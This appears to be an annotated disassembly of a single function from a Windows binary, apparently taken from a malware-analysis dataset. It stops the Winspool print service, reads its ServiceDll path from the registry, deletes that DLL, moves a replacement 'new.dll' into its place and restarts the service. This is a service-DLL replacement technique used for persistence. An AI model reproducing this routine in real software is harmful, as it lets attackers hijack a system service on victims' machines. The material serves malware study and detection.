Function at 0x10004ba0
Capabilities:
Delete file
Get common file path
Move file
Print debug messages
Query or enumerate registry value
Query service status
Start service
Stop service

Disassembly:
sub esp, 0x64c
push ebx
push ebp
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x24d]
mov byte [esp + 0x24c], 0
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x145]
mov byte [esp + 0x144], al
mov byte [esp + 0x3c], al
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x3d]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x355]
push 2
mov byte [esp + 0x358], al
push eax
push eax
rep stosd dword es:[edi], eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0xf01ff
push str.Winspool
push esi
mov dword [esp + 0x24], esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebp, eax
lea eax, [esp + 0x20]
push eax
push ebp
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
mov edi, eax
cmp dword [esp + 0x24], 1
je 0x10004c43
lea ecx, [esp + 0x20]
push ecx
push 1
push ebp
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov edi, eax
push str.srv:_update:_start_replace_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
test edi, edi
je 0x10004df7
lea edx, [esp + 0x24c]
push 0x104
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x10004e03
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x45d]
mov byte [esp + 0x45c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10]
mov dword [esp + 0x14], 0x200
push eax
push str.SYSTEMCurrentControlSetServicesWinspoolParameters
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea ecx, [esp + 0x14]
lea edx, [esp + 0x45c]
push ecx
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x20]
push edx
push eax
push 0
push str.ServiceDll
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edi, str..dll
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x45c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x10]
mov ecx, ebx
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x45c]
push str._SystemRoot_
push ecx
call fcn.10005bb0
mov edx, eax
add esp, 8
test edx, edx
je 0x10004e03
mov edi, str._SystemRoot_
or ecx, 0xffffffff
xor eax, eax
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x3c]
add ecx, edx
lea edx, [esp + 0x24c]
push ecx
push edx
push str._s_s
push eax
call ebx
lea edi, [esp + 0x4c]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x154]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x154]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Winspool.dll
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x4c]
sub edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [edx + ecx], al
lea eax, [esp + 0x154]
push eax
lea ecx, [esp + 0x368]
push str._s_new.dll
push ecx
call ebx
add esp, 0x1c
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [esp + 0x3c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x3c]
push 9
lea ecx, [esp + 0x358]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 0
push 0
push ebp
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov esi, dword [esp + 0x18]
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebp
call edi
push esi
call edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x64c
ret 0x10